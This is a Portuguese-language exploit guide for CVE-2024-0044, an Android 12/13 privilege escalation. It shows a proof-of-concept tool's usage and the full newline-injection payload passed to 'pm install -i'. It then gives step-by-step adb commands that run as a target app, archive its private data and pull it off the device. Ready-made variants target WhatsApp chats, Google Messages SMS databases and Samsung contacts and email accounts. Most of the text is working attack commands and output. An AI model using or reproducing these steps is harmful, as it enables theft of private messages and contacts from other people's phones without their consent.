
CVE-2024-0044: uma vulnerabilidade de alta gravidade do tipo "run-as de qualquer aplicativo" que afeta as versões 12 e 13 do Android
CVE-2024-0044, identificada na função createSessionInternal do arquivo PackageInstallerService.java, é uma vulnerabilidade de alta gravidade que afeta as versões 12 e 13 do Android. Essa vulnerabilidade permite que um invasor realize um ataque "run-as any app", levando a uma escalada local de privilégios sem exigir interação do usuário. O problema surge devido à validação inadequada de entrada na função createSessionInternal. Um invasor pode explorar isso manipulando o processo de criação de sessão, potencialmente obtendo acesso não autorizado a dados sensíveis e realizando ações não autorizadas no dispositivo afetado
A exploração foi descoberta por Meta security
A prova de conceito foi resumida e compartilhada por Tiny hack
Detalhes sobre o patch de segurança podem ser encontrados em Android security bulletin
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
-P é usado para especificar o nome do pacote alvo que você deseja executar como
-A para especificar o arquivo apk a ser enviado para o dispositivo
Execute a ferramenta
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
Um arquivo payload.txt como este será gerado
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success após o último comandopl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
Crie um diretório temporário: mkdir /data/local/tmp/wa/
Crie um espaço reservado para um arquivo tar: touch /data/local/tmp/wa/wa.tar
Defina permissões amplas: chmod -R 0777 /data/local/tmp/wa/ para garantir que qualquer usuário possa ler, escrever e executar neste diretório.
Altere o contexto do usuário: run-as victim para obter as mesmas permissões do usuário "victim".
Arquive os dados do aplicativo alvo: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp, criando um arquivo tar do diretório de dados do WhatsApp.
adb pull /data/local/tmp/wa/wa.tar
Você pode extrair os dados usando 7z ou qualquer outra ferramenta
Você pode usar Whatsapp chat exporter para converter para HTML
Isso permite que você obtenha dados do WhatsApp sem acesso root no seu dispositivo.
Basta alterar o nome do pacote da seguinte forma
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Down
loads/F-Droid.apk
Siga as instruções acima e após baixar o arquivo wa.tar, descompacte-o e abra as conversas em com.google.android.apps.messaging/databases/bugle_db usando sqlitebrowser ou qualquer outra ferramenta.
Testado em dispositivo Samsung. Para outros dispositivos, verifique o nome do pacote do provedor de contatos.
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk
Siga as instruções acima e após baixar o arquivo wa.tar, descompacte-o e abra os contatos em com.samsung.android.providers.contacts/databases/contacts2.db usando sqlitebrowser ou qualquer outra ferramenta. O arquivo db contém todas as informações das contas de e-mail do usuário junto com a lista de contatos.